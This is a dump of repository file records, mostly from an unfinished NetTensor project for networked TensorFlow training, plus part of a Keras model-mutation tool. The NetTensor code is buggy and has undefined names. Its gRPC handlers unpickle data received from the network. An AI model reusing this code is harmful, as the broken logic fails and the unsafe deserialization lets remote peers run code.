[ { "alpha_fraction": 0.5718157291412354, "alphanum_fraction": 0.5718157291412354, "avg_line_length": 28.520000457763672, "blob_id": "d260989ecbec3f9cec5885f75379952db048ec90", "content_id": "b87096da73cc888779afa973ff985deaae5cf884", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 738, "license_type": "no_license", "max_line_length": 79, "num_lines": 25, "path": "/neuron.py", "repo_name": "unconst/NetTensor", "src_encoding": "UTF-8", "text": "from loguru import logger\n\nclass Neuron(self):\n def __init__(self, logger, dataset, nucleus, dendrite, metagraph):\n self._logger = looger\n self._dendrite = dendrite\n self._nucleus = nucleus\n self._dataset = dataset\n self._metagraph = metagraph\n\n def train(self):\n while self.running:\n # Next batch.\n x_batch, y_batch = self.dataset.next_batch()\n\n # Gate inputs.\n c_outputs = self._nucleus.gate_batch(x_batch)\n\n # Query children.\n c_batches = self._dendrite.query_children(c_inputs)\n\n # Train graph.\n outputs, metrics = self._nucleus.train(y_batch, x_batch, c_batches)\n\n logger.info(metrics)\n" }, { "alpha_fraction": 0.5517970323562622, "alphanum_fraction": 0.5549682974815369, "avg_line_length": 33.88888931274414, "blob_id": "eea2e21ac2cefb67dfe7819aee92f003b06660fb", "content_id": "66205d725929959f4eaf10fed30bbb4984e0b99c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 946, "license_type": "no_license", "max_line_length": 74, "num_lines": 27, "path": "/nucleus.py", "repo_name": "unconst/NetTensor", "src_encoding": "UTF-8", "text": "\n\ndef Nucleus:\n def __init__(self, hparams, model_fn, metagraph):\n self._hparams = hparams\n self._children = metagraph.nodes[self.hparams.identity].children\n self._graph = tf.Graph()\n self._session = tf.compat.v1.Session(graph=self._graph)\n self._model_fn = model_fn\n with self._graph.as_default(), tf.device('/cpu:0'):\n self._model_fn.init()\n self._session.run(tf.compat.v1.global_variables_initializer())\n\n def spike(self, x_batch, c_batches):\n feeds = {\n self.x_batch : x_batch\n }\n for _ in self._children:\n feeds[self.c_batch[i]] = c_batches[i]\n fetches = {'y_batch' : self.y_batch}\n return self._session.run(fetches, feeds)['y_batch']\n\n\n def grade(self, y_grads, x_batch):\n feeds = {\n self.x_batch: x_batch,\n self.y_grads: y_grads\n }\n self._session.run(feeds=feeds)\n\n\n" }, { "alpha_fraction": 0.6729602217674255, "alphanum_fraction": 0.6749831438064575, "avg_line_length": 21.119403839111328, "blob_id": "b375b0c12a3c6098fc47652302a090ca625bd77d", "content_id": "e0fa22562a5bef3cbac8e73e9d44fe4fd08c3f3b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1483, "license_type": "no_license", "max_line_length": 61, "num_lines": 67, "path": "/main.py", "repo_name": "unconst/NetTensor", "src_encoding": "UTF-8", "text": "from metagraph import Metagraph\nfrom nucleus import Nucleus\nfrom neuron import Neuron\nfrom modelfn import Modelfn\nfrom synapse import Synapse\nfrom hprams import Hparams\n\nimport argparse\nfrom datetime import timedelta\nfrom loguru import logger\nimport time\nfrom timeloop import Timeloop\n\ndef set_timed_loops(tl, config, neuron, metagraph):\n\n # Pull the updated graph state (Vertices, Edges, Weights)\n @tl.job(interval=timedelta(seconds=7))\n def pull_metagraph():\n metagraph.gossip()\n\n # Reselect channels.\n @tl.job(interval=timedelta(seconds=10))\n def connect():\n neuron.connect()\n\ndef main(hparams):\n\n dataset = Dataset(hparams)\n\n metagraph = Metagraph(hparams)\n\n dendrite = Dendrite(hparams)\n\n modelfn = Modelfn(hparams)\n\n nucleus = Nucleus(hparams, modelfn)\n\n neuron = Neuron(hparams, nucleus, metagraph)\n\n synapse = Synapse(hparams, neuron, metagraph)\n\n synapse.serve()\n\n tl = Timeloop()\n set_timed_loops(tl, hparams, neuron, metagraph)\n tl.start(block=False)\n\n def tear_down(_hparams, _neuron, _nucleus, _metagraph):\n del _neuron\n del _nucleus\n del _metagraph\n del _hparams\n\n try:\n while True:\n neuron.train()\n\n except KeyboardInterrupt:\n tear_down(hparams, neuron, nucleus, metagraph)\n\n except Exception as e:\n tear_down(hparams, neuron, nucleus, metagraph)\n\n\nif __name__ == '__main__':\n hparams = Hparams.get_hparams()\n main(hparams)\n\n" }, { "alpha_fraction": 0.475315123796463, "alphanum_fraction": 0.49737393856048584, "avg_line_length": 26.178571701049805, "blob_id": "4e64e32a3fc2b9d2d42701eed47fd084b787bba8", "content_id": "b892bee129d8e8585464f45745ac9617a16a7350", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3808, "license_type": "no_license", "max_line_length": 96, "num_lines": 140, "path": "/hparams.py", "repo_name": "unconst/NetTensor", "src_encoding": "UTF-8", "text": "\nclass hparams:\n def get_hparams():\n parser = argparse.ArgumentParser()\n global_params()\n vocab_params()\n training_params()\n architecture_params()\n hparams = parser.parse_args()\n return hparams\n\n def global_params():\n parser.add_argument(\n '--identity',\n default='abcd',\n type=str,\n help=\"network identity. Default identity=abcd\"\n )\n\n parser.add_argument(\n '--serve_address',\n default='0.0.0.0',\n type=str,\n help=\"Address to server neuron. Default serve_address=0.0.0.0\"\n )\n\n parser.add_argument(\n '--bind_address',\n default='0.0.0.0',\n type=str,\n help=\"Address to bind neuron. Default bind_address=0.0.0.0\"\n )\n\n parser.add_argument(\n '--port',\n default='9090',\n type=str,\n help=\"Port to serve neuron on. Default port=9090\"\n )\n\n parser.add_argument(\n '--logdir',\n default=\"/tmp/\",\n type=str,\n help=\"logging output directory. Default logdir=/tmp/\"\n )\n\n def vocab_params():\n parser.add_argument(\n '--corpus_path',\n default='text8.zip',\n type=str,\n help='Path to corpus of text. Default corpus_path=neurons/Mach/data/text8.zip'\n )\n\n parser.add_argument(\n '--n_vocabulary',\n default=50000,\n type=int,\n help='Size fof corpus vocabulary. Default vocabulary_size=50000'\n )\n\n parser.add_argument(\n '--n_sampled',\n default=64,\n type=int,\n help='Number of negative examples to sample during training. Default num_sampled=64'\n )\n\n def training_params(self):\n parser.add_argument(\n '--batch_size',\n default=50,\n type=int,\n help='The number of examples per batch. Default batch_size=128'\n )\n\n parser.add_argument(\n '--learning_rate',\n default=1e-4,\n type=float,\n help='Component learning rate. Default learning_rate=1e-4'\n )\n\n def architecture_params():\n\n parser.add_argument(\n '--n_repr',\n default=128,\n type=int,\n help='Size of representation. Default n_representation=128'\n )\n\n parser.add_argument(\n '--n_children',\n default=5,\n type=int,\n help='The number of graph neighbors. Default n_children=5'\n )\n\n parser.add_argument(\n '--syn_hidden',\n default=512,\n type=int,\n help='Size of synthetic network hidden layers. Default n_hidden1=512'\n )\n\n parser.add_argument(\n '--syn_layers',\n default=2,\n type=int,\n help='Number of synthetic layers. Default syn_layers=2'\n )\n\n parser.add_argument(\n '--repr_hidden',\n default=512,\n type=int,\n help='Size of represnetation network hidden layers. Default n_hidden1=512'\n )\n\n parser.add_argument(\n '--repr_layers',\n default=2,\n type=int,\n help='Number of representation layers. Default syn_layers=2'\n )\n\n parser.add_argument(\n '--target_hidden',\n default=512,\n type=int,\n help='Size of target network hidden layers. Default n_hidden1=512'\n )\n\n parser.add_argument(\n '--target_layers',\n default=2,\n type=int,\n help='Number of target network layers. Default syn_layers=2'\n )\n\n\n" }, { "alpha_fraction": 0.2583732008934021, "alphanum_fraction": 0.2583732008934021, "avg_line_length": 14.481481552124023, "blob_id": "5c14c3efe39786f4a2c940dfde803c6cdaaa5353", "content_id": "a0c631c5af81f80562f4b27418f8ccc21b37b782", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 792, "license_type": "no_license", "max_line_length": 39, "num_lines": 27, "path": "/README.md", "repo_name": "unconst/NetTensor", "src_encoding": "UTF-8", "text": "## NetTensor\n\n```\n███████╗ ██████╗ ██████╗ █████╗ ██╗\n██╔════╝██╔═══██╗██╔══██╗ ██╔══██╗██║\n█████╗ ██║ ██║██████╔╝ ███████║██║\n██╔══╝ ██║ ██║██╔══██╗ ██╔══██║██║\n██║ ╚██████╔╝██║ ██║██╗██║ ██║██║\n╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝\n```\n\n## TL;DR\nNetworked tensorflow training graphs.\n\n## Motivation\n\nPeer-to-peer networks \n\n---\n\n## Run\n\nTODO (const) most things.\n```\n$ python main.py\n```\n---\n" }, { "alpha_fraction": 0.710790753364563, "alphanum_fraction": 0.7151594758033752, "avg_line_length": 34.765625, "blob_id": "3111f5fc71977eabe68789f4150729ea6fa3c16d", "content_id": "7f2faa4f1bb5ca99f3b727e989a8881afbe47414", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2289, "license_type": "no_license", "max_line_length": 87, "num_lines": 64, "path": "/proto/nettensor_pb2_grpc.py", "repo_name": "unconst/NetTensor", "src_encoding": "UTF-8", "text": "# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!\nimport grpc\n\nfrom proto import nettensor_pb2 as proto_dot_nettensor__pb2\n\n\nclass NetTensorStub(object):\n # missing associated documentation comment in .proto file\n pass\n\n def __init__(self, channel):\n \"\"\"Constructor.\n\n Args:\n channel: A grpc.Channel.\n \"\"\"\n self.Spike = channel.unary_unary(\n '/NetTensor/Spike',\n request_serializer=proto_dot_nettensor__pb2.SpikeRequest.SerializeToString,\n response_deserializer=proto_dot_nettensor__pb2.SpikeResponse.FromString,\n )\n self.Grade = channel.unary_unary(\n '/NetTensor/Grade',\n request_serializer=proto_dot_nettensor__pb2.GradeRequest.SerializeToString,\n response_deserializer=proto_dot_nettensor__pb2.GradeResponse.FromString,\n )\n\n\nclass NetTensorServicer(object):\n # missing associated documentation comment in .proto file\n pass\n\n def Spike(self, request, context):\n \"\"\"Query remote component with text-features, responses are var-length vector\n representations of the text.\n \"\"\"\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n\n def Grade(self, request, context):\n \"\"\"Query a remote component with gradients. Responses are boolean affirmatives.\n \"\"\"\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n\n\ndef add_NetTensorServicer_to_server(servicer, server):\n rpc_method_handlers = {\n 'Spike': grpc.unary_unary_rpc_method_handler(\n servicer.Spike,\n request_deserializer=proto_dot_nettensor__pb2.SpikeRequest.FromString,\n response_serializer=proto_dot_nettensor__pb2.SpikeResponse.SerializeToString,\n ),\n 'Grade': grpc.unary_unary_rpc_method_handler(\n servicer.Grade,\n request_deserializer=proto_dot_nettensor__pb2.GradeRequest.FromString,\n response_serializer=proto_dot_nettensor__pb2.GradeResponse.SerializeToString,\n ),\n }\n generic_handler = grpc.method_handlers_generic_handler(\n 'NetTensor', rpc_method_handlers)\n server.add_generic_rpc_handlers((generic_handler,))\n" }, { "alpha_fraction": 0.5854922533035278, "alphanum_fraction": 0.5904268622398376, "avg_line_length": 39.529998779296875, "blob_id": "dec26e9ebcdacd4950b0704482b0d9e8b24a2635", "content_id": "4426bdffc00bbfd4ec2ad496c415082e6bebd18a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8106, "license_type": "no_license", "max_line_length": 120, "num_lines": 200, "path": "/model_fn.py", "repo_name": "unconst/NetTensor", "src_encoding": "UTF-8", "text": "def ffnn(x, sizes):\n for i in range(len(sizes) - 1):\n w = tf.Variable(tf.truncated_normal([sizes[i], sizes[i+1]], stddev=0.1))\n b = tf.Variable(tf.constant(0.1, shape=[sizes[i+1]]))\n x = tf.matmul(x, w) + b\n return x\n\nclass Feynmann(Modelfn):\n\n def __init__(self, hparams):\n super().__init__(hparams)\n self._hparams = hparams\n\n def _tokenizer_network(self, x_batch):\n ''' Tokenize input batch '''\n\n # Build corpus.\n f = zipfile.ZipFile(self._hparams.corpus_path)\n for name in f.namelist():\n words = tf.compat.as_str(f.read(name)).split()\n f.close()\n\n counts = [('UNK', -1)]\n counts.extend(collections.Counter(words).most_common(self._hparams.n_vocabulary - 2))\n string_map = [c[0] for c in counts]\n\n\n # Tokenization with lookup table. Retrieves a 1 x vocabulary sized\n # vector.\n vocabulary_table = tf.contrib.lookup.index_table_from_tensor(\n mapping=tf.constant(string_map),\n num_oov_buckets=1,\n default_value=0)\n\n # Token embedding matrix is a matrix of vectors. During lookup we pull\n # the vector corresponding to the 1-hot encoded vector from the\n # vocabulary table.\n embedding_matrix = tf.Variable(\n tf.random.uniform([self._hparams.n_vocabulary, self._hparams.n_embedding], -1.0,\n 1.0))\n\n # Tokenizer network.\n x_batch = tf.reshape(x_batch, [-1])\n\n # Apply tokenizer lookup.\n x_batch = vocabulary_table.lookup(x_batch)\n\n # Apply table lookup to retrieve the embedding.\n x_batch = tf.nn.embedding_lookup(embedding_matrix, x_batch)\n x_batch = tf.reshape(x_batch, [-1, self._hparams.n_embedding])\n\n raise x_batch\n\n def _gate_dispatch(self, t_batch):\n ''' Dispatch inputs to children '''\n gates, load = noisy_top_k_gating( t_batch,\n self._hparams.n_neighbors,\n train = True,\n k = hparams.k\n )\n self._dispatcher = SparseDispatcher(hparams.n_neighbors, gates)\n return self._dispatcher.dispatch(t_batch)\n\n def _gate_combine(self, c_batch):\n ''' Combine children outputs '''\n return self._dispatcher.combine(c_batch)\n\n def _synthetic_network(self, d_batch):\n ''' Distillation network over child inputs. '''\n x = d_batch\n n_x = tf.shape(x)[1]\n sizes = [n_x] + [hparams.syn_hidden for _ in range(hparams.syn_layers)] + [hparams.n_repr]\n return ffnn(x, sizes)\n\n def _representation_network(self, t_batch, d_batch):\n ''' Maps token embedding and downstream inputs into representation '''\n x = tf.concat([t_batch, d_batch], axis=1)\n n_x = tf.shape(x)[1]\n sizes = [n_x] + [hparams.repr_hidden for _ in range(hparams.repr_layers)] + [hparams.n_repr]\n return ffnn(x, sizes)\n\n def _target_network(self, embedding_batch):\n x = embedding_batch\n n_x = tf.shape(x)[1]\n sizes = [n_x] + [hparams.repr_hidden for _ in range(hparams.repr_layers)] + [hparams.n_repr]\n return ffnn(x, sizes)\n\n def _target_loss(self, logits, y_batch):\n target_loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(labels=y_batch, logits=logits))\n raise target_loss\n\n\nclass Modelfn():\n\n def __init__(self, hparams):\n self._hparams = hparams\n\n def _tokenizer_network(self, x_batch):\n raise NotImplementedError\n\n def _gate_dispatch(self, x_batch):\n raise NotImplementedError\n\n def _gate_combine(self, c_batches):\n raise NotImplementedError\n\n def _synthetic_network(self, t_batch, d_batch):\n raise NotImplementedError\n\n def _embedding_network(self, t_batch, d_batch):\n raise NotImplementedError\n\n def _target_network(self, embedding):\n raise NotImplementedError\n\n def _synthetic_loss(self, syn_batch, c_batch):\n raise NotImplementedError\n\n def _target_loss(self, embedding, y_batch):\n raise NotImplementedError\n\n def _model_fn(self):\n\n # x_batch: Model inputs. [None, 1] unicode encoded strings.\n self.x_batch = tf.compat.v1.placeholder(tf.string, [None, 1], name='batch of inputs')\n\n # y_batch: Supervised targets signals used during training and testing.\n self.y_batch = tf.compat.v1.placeholder(tf.float32, [None, self._hparams.n_targets], name='y_batch')\n\n # Use Synthetic: Flag, use synthetic inputs when running graph.\n self.use_synthetic = tf.compat.v1.placeholder(tf.bool, shape=[], name='use_synthetic')\n\n # Parent gradients: Gradients passed by this components parent.\n self.parent_error = tf.compat.v1.placeholder(tf.float32, [None, self._hparams.n_embedding], name='parent_grads')\n\n # Tokenizer network: x_batch --> t_batch\n with tf.compat.v1.variable_scope(\"tokenizer_network\"):\n t_batch = self._tokenizer(self.x_batch)\n tokenizer_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=\"tokenizer_network\")\n\n # Gating network: t_batch --> GATE --> [] --> GATE --> c_batch\n with tf.compat.v1.variable_scope(\"gating_network\"):\n gated_batch = self._gate_dispatch(self.t_batch)\n child_inputs = []\n for i, gated_spikes in enumerate(gated_batch):\n child_inputs.append(_input_from_gate(gated_batch))\n c_batch = self._gate_combine(child_inputs)\n gating_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=\"gating_network\")\n\n # Synthetic network: t_batch --> syn_batch\n with tf.compat.v1.variable_scope(\"synthetic_network\"):\n syn_batch = self._synthetic_network(t_batch)\n synthetic_loss = self._synthetic_loss(syn_batch, c_batch)\n synthetic_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=\"synthetic_network\")\n\n # Downstream switch: syn_batch || c_batch --> d_batch\n d_batch = tf.cond(\n tf.equal(self.use_synthetic, tf.constant(True)),\n true_fn=lambda: syn_batch,\n false_fn=lambda: c_batch)\n\n # Embedding network: t_batch + d_batch --> embedding\n with tf.compat.v1.variable_scope(\"embedding_network\"):\n self.embedding = self._embedding_network(t_batch, d_batch)\n embedding_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=\"embedding_network\")\n\n # Target network: embedding --> logits\n with tf.compat.v1.variable_scope(\"target_network\"):\n logits = self._target_network(self.embedding)\n target_loss = self._target_loss(logits, self.y_batch)\n target_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=\"target_network\")\n\n # Optimizer\n optimizer = self._optimizer()\n\n # Synthetic grads.\n synthetic_grads = optimizer.compute_gradients( loss = synthetic_loss,\n var_list = synthetic_vars)\n\n # Parent grads\n parent_grads = optimizer.compute_gradients( loss = self.embedding,\n var_list = embedding_vars,\n grad_loss = self.parent_error)\n\n # Target grads\n target_grads = optimizer.compute_gradients( loss = target_loss,\n var_list = target_vars + embedding_vars + gate_vars)\n\n # Child grads\n child_grads = optimizer.compute_gradients( loss = target_loss,\n var_list = child_inputs)\n\n # Synthetic step.\n synthetic_step = optimizer.apply_gradients(synthetic_grads)\n\n # Parent step.\n parent_step = optimizer.apply_gradients(parent_grads)\n\n # Target step.\n target_step = optimizer.apply_gradients(target_grads)\n" }, { "alpha_fraction": 0.6150597929954529, "alphanum_fraction": 0.6220971345901489, "avg_line_length": 29.23404312133789, "blob_id": "4529725bfe32ef5e7e40df26486fa70f91b8153c", "content_id": "80270bdacd6e10e7b4160f246cb12cb12d7ee4ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1421, "license_type": "no_license", "max_line_length": 71, "num_lines": 47, "path": "/synapse.py", "repo_name": "unconst/NetTensor", "src_encoding": "UTF-8", "text": "from concurrent import futures\nimport grpc\nfrom loguru import logger\nimport pickle\n\nclass Synapse(nettensor.proto.nettensor_pb2_grpc.NettensorServicer):\n\n def __init__(self, hparams, neuron):\n self.hparams = hparams\n self.neuron = neuron\n\n def Spike(self, request, context):\n # 1. Unpack message.\n version = request.version\n source_id = request.source_id\n parent_id = request.parent_id\n message_id = request.message_id\n x_batch = pickle.loads(request.x_batch)\n\n # 2. Inference local neuron.\n repr_batch = self.neuron.spike(x_batch)\n\n # 3. Build response.\n payload = pickle.dumps(repr_batch, protocol=0)\n response = bittensor.proto.bittensor_pb2.SpikeResponse(\n version=version,\n source_id=source_id,\n child_id=self.config.identity,\n message_id=message_id,\n payload=payload)\n\n # Return.\n return response\n\n def Grade(self, request, context):\n # 1. Unpack request.\n source_id = request.source_id\n parent_id = request.parent_id\n message_id = request.message_id\n x_batch = pickle.loads(request.spikes)\n repr_grads = pickle.loads(request.grads)\n\n # 2. Grad nucleus.\n self.nucleus.neuron(repr_grads, x_batch)\n\n # 3. Return.\n return bittensor.proto.bittensor_pb2.GradeResponse(accept=True)\n" }, { "alpha_fraction": 0.5381742715835571, "alphanum_fraction": 0.5410788655281067, "avg_line_length": 36.03076934814453, "blob_id": "b46dd2c52c00b4cbe47999c798624ae4a8d16d31", "content_id": "cbff3d2aece2b0715616f571ae43991aae615e32", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2410, "license_type": "no_license", "max_line_length": 82, "num_lines": 65, "path": "/dendrite.py", "repo_name": "unconst/NetTensor", "src_encoding": "UTF-8", "text": "\n\n\nclass Dendrite(self):\n\n def _fill_grade_futures(self, grad_futures):\n start = time.time()\n returned = [False for _ in range(len(grad_futures))]\n while True:\n for i, future in enumerate(grad_futures):\n if future.done():\n returned[i] = True\n if time.time() - start > 1:\n break\n if sum(returned) == len(grad_futures):\n break\n\n def _fill_spike_futures(self, futures):\n start = time.time()\n returned = [False for _ in range(len(grad_futures))]\n responses = [None for _ in range(len(grad_futures))]\n while True:\n for i, future in enumerate(grad_futures):\n if future.done():\n returned[i] = True\n result = futures[i].result()\n responses[i] = pickle.loads(result.payload)\n if time.time() - start > 1:\n break\n if sum(returned) == len(grad_futures):\n break\n return responses\n\n def _spike_future(self, child, request):\n try:\n # Build Stub and request proto.\n stub = bittensor.proto.bittensor_pb2_grpc.BittensorStub(child.channel)\n\n # Create spike request proto.\n request = bittensor.proto.bittensor_pb2.SpikeRequest(\n version=request.version,\n source_id=request.source_id,\n parent_id=self.config.identity,\n message_id=request.message_id,\n spikes=request.spikes)\n\n # Send TCP spike request with futures callback.\n return stub.Spike.future(request)\n except:\n return None\n\n def _grade_future(self, child, request, grades):\n try:\n # Build Stub and request proto.\n stub = bittensor.proto.bittensor_pb2_grpc.BittensorStub(child.channel)\n\n # Create spike request proto.\n request = bittensor.proto.bittensor_pb2.GradeRequest(\n version=request.version,\n source_id=request.source_id,\n parent_id=self.config.identity,\n message_id=request.message_id\n grades=pickle.dumps(grades, protocol=0))\n\n # Send TCP spike request with futures callback.\n return stub.Spike.future(request)\n except:\n return None\n" } ]
9
haoyang9804/New-mutators
https://github.com/haoyang9804/New-mutators
8812f89de842b6d9080270b290948ee924af4bc3
bce9e9820271af2384870736ced53933b4e45a59
ea5ace140827e089c1bf8ba4c5b657a05da1c2ee
refs/heads/master
2023-05-31T00:54:41.253127
2022-03-07T06:39:10
2022-03-07T06:39:10
372,380,065
0
2
null
2021-05-31T04:18:03
2021-06-16T05:57:12
2021-06-24T10:36:06
Python
[ { "alpha_fraction": 0.6668984889984131, "alphanum_fraction": 0.693324089050293, "avg_line_length": 37.89189147949219, "blob_id": "f3027794c7ad8f50713f88c0850ec81aa69a39e5", "content_id": "82cfa304ee0a72410d7ef273cb8387774cfaef63", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1438, "license_type": "no_license", "max_line_length": 119, "num_lines": 37, "path": "/test/test_globalInfos.py", "repo_name": "haoyang9804/New-mutators", "src_encoding": "UTF-8", "text": "import tensorflow.keras as keras\nfrom globalInfos import edge_collection, available_edges_extraction_for4types, extra_info_extraction, config_extraction\nfrom colors import *\n\nconfig_extraction()\nextra_info_extraction()\n\nmodelpath = '/home/lisa/origin_model/lenet5-mnist_origin.h5'\nkeras_model = keras.models.load_model(modelpath)\nprint(Yellow('keras_model layers'))\nfor layer in keras_model.layers:\n print(layer.output.shape)\nedge_collection(keras_model)\nfrom globalInfos import EDGES\nprint(Green('EDGES'))\nfor edge in EDGES:\n print(edge[0].name, edge[1].name)\nprint('===================================')\navailable_edges_extraction_for4types()\nfrom globalInfos import CONV2D_TYPE_1_AVAILABLE_EDGES,\\\n CONV2D_TYPE_2_AVAILABLE_EDGES,\\\n CONV2D_TYPE_3_AVAILABLE_EDGES,\\\n CONV2D_TYPE_4_AVAILABLE_EDGES\nprint(Red('CONV2D_TYPE_1_AVAILABLE_EDGES'))\nfor edge in CONV2D_TYPE_1_AVAILABLE_EDGES:\n print(edge[0].name, edge[1].name)\nprint(Red('CONV2D_TYPE_2_AVAILABLE_EDGES'))\nfor edge in CONV2D_TYPE_2_AVAILABLE_EDGES:\n print(edge[0].name, edge[1].name)\nprint(Red('CONV2D_TYPE_3_AVAILABLE_EDGES'))\nfor edge in CONV2D_TYPE_3_AVAILABLE_EDGES:\n print(edge[0].name, edge[1].name)\nprint(Red('CONV2D_TYPE_4_AVAILABLE_EDGES'))\nfor edgestuple in CONV2D_TYPE_4_AVAILABLE_EDGES:\n print(Blue('<><><><>'))\n for edge in edgestuple:\n print(edge[0].name, edge[1].name)" }, { "alpha_fraction": 0.7141280174255371, "alphanum_fraction": 0.7312362194061279, "avg_line_length": 53.93939208984375, "blob_id": "06cea5fd5c6adb93b3aeecd5216b01fcb4fb1ce0", "content_id": "0eb8f35e01883cb2f7614518c951d5a6dcb0c1fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1812, "license_type": "no_license", "max_line_length": 136, "num_lines": 33, "path": "/instruction.md", "repo_name": "haoyang9804/New-mutators", "src_encoding": "UTF-8", "text": "## How to add new layers for 2-dimensional image related model?\n1. Add detailed implementation in `newLayer_impl.py`\n\n To perform layer addition, we provide two modes for all layers prepared: `definite` and `indefinite`\n except for: `Flatten`, `GlobalMaxPooling2D`, `GlobalAveragePooling2D` and all layers that work on\n changing **dimension**\n \n + definite: this added layer is a copy of the existing model\n + indefinite: this added layer is completely designed from scratch \n\n2. Add the layer name to `opspool` in `config.conf`\n3. supplement function `extra_info_extraction` in `globalInfos.py` by pointing out which type the added layer belongs to\n \n + type1: can only handle 4-dimensional data\n + type2: can only handle 2-dimensional data\n + type3: can handle both the 4-dimensional and the 2-dimensional\n\n4. For layers of type1: you should pay attention to `_decideConv2DOrPoolingParams` in `mutators.py`, which introduces some details about\n deciding range of `kernel_size`, `pool_size`, etc, which may change data shape flowing through the added layer.\n We need to add layer class name to the following code snippet if our new layer is related to `Conv2D` or `Pooling`\n ```Python\n if op == 'AveragePooling2D' or op == 'MaxPooling2D':\n dilation_or_strides = 'strides'\n elif op == 'Conv2D' or op == 'SeparableConv2D':\n dilation_or_strides = np.random.choice(['dilation_rate', 'strides'])\n else:\n raise Exception(Cyan(f'Unexpected op: {op}'))\n ``` \n\n5. Supplement `_myConv2DLayer_op_to_newlayer` and `_myConv2DLayer_definite` in `newLayer_handler.py`\n\n6. For `_myConv2DLayer_indefinite_1`, `_myConv2DLayer_indefinite_2` and `_myConv2DLayer_indefinite_3`, we should\n pay attention to whether we pass correct number of parameters in the correct order" }, { "alpha_fraction": 0.7709923386573792, "alphanum_fraction": 0.7709923386573792, "avg_line_length": 42.66666793823242, "blob_id": "72dfed909524034b84302187c97c3cf3778fd61a", "content_id": "1e712902150786f7a325bf9e3f98858404dfcd57", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 131, "license_type": "no_license", "max_line_length": 114, "num_lines": 3, "path": "/README.md", "repo_name": "haoyang9804/New-mutators", "src_encoding": "UTF-8", "text": "# beyond-LEMON\n\nAdd some new operators and extend op utility regarding shape based on [LEMON](https://github.com/Jacob-yen/LEMON).\n" }, { "alpha_fraction": 0.5337215662002563, "alphanum_fraction": 0.5505354404449463, "avg_line_length": 36.74468231201172, "blob_id": "93175ba74f86899591106795a8159936f6c3f59d", "content_id": "d47c9ffa6bdc2895b59d4449a57b4915960a76c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10646, "license_type": "no_license", "max_line_length": 299, "num_lines": 282, "path": "/globalInfos.py", "repo_name": "haoyang9804/New-mutators", "src_encoding": "UTF-8", "text": "from colors import *\nimport configparser\nimport queue\nimport tensorflow.keras as keras\n\nDATA_FORMAT = None\nDTYPE = None\n\nMODELNAMES = None\nMODE = None\nORIGIN_PATH = None\nMUTANT_PATH = None\nORDERS = None\nOPSPOOL = None\nTOTALNUMBER = None\nEACHNUMBER = None\n\nCONV2D_TYPE_1_POOL = []\nCONV2D_TYPE_2_POOL = []\nCONV2D_TYPE_3_POOL = []\nCONV2D_TYPE_4_POOL = []\n\nCONV2D_TYPE_1_AVAILABLE_EDGES = []\nCONV2D_TYPE_2_AVAILABLE_EDGES = []\nCONV2D_TYPE_3_AVAILABLE_EDGES = []\nCONV2D_TYPE_4_AVAILABLE_EDGES = []\n\nEDGES = []\nLAYER_CLASS_NAMES = {}\nINPUTLAYERS = []\nOUTPUTLAYERS = []\n\nCONV2D_TYPE_4_LAYERS = []\n\ndef _isInputLayer(model, layer, id):\n if model.__class__.__name__ == 'Sequential':\n if id == 0:\n return True\n else:\n if isinstance(layer, keras.layers.InputLayer):\n return True\n return False\n\ndef _isOutputLayer(layer):\n if layer._outbound_nodes == []:\n return True\n return False \n\ndef edge_collection(model):\n global EDGES, INPUTLAYERS, OUTPUTLAYERS\n INPUTLAYERS = []\n OUTPUTLAYERS = []\n layers = model.layers\n EDGES = []\n layer_set = set()\n visited = set()\n CONV2D_TYPE_4_POOL_ALL = ['Add', 'Concatenate', 'Average', 'Maximum', 'Minimum', 'Subtract', 'Multiply', 'Dot']\n q = queue.Queue()\n for id, layer in enumerate(layers):\n if _isInputLayer(model, layer, id):\n INPUTLAYERS.append(layer)\n q.put(layer)\n if _isOutputLayer(layer):\n OUTPUTLAYERS.append(layer)\n \n while not q.empty():\n qlayer = q.get()\n layer_set.add(qlayer.name)\n # print(Green(qlayer.name))\n if qlayer.name in CONV2D_TYPE_4_LAYERS:\n CONV2D_TYPE_4_LAYERS.append(qlayer)\n if qlayer.name in visited:\n continue\n visited.add(qlayer.name)\n for node in qlayer._outbound_nodes:\n layer_out = node.outbound_layer\n if layer_out.__class__.__name__ not in CONV2D_TYPE_4_POOL_ALL:\n q.put(layer_out)\n EDGES.append((qlayer, layer_out))\n else:\n inputlayer_alltraversed = True\n for node in layer_out._inbound_nodes:\n if isinstance(node.inbound_layers, list):\n for l in node.inbound_layers:\n if l.name not in layer_set:\n inputlayer_alltraversed = False\n break\n else:\n l = node.inbound_layers\n if l.name not in layer_set:\n inputlayer_alltraversed = False\n break\n if inputlayer_alltraversed:\n q.put(layer_out)\n EDGES.append((qlayer, layer_out))\n print(EDGES == [])\ndef _dim4data_bigger(data1, data2):\n if data1[1] > 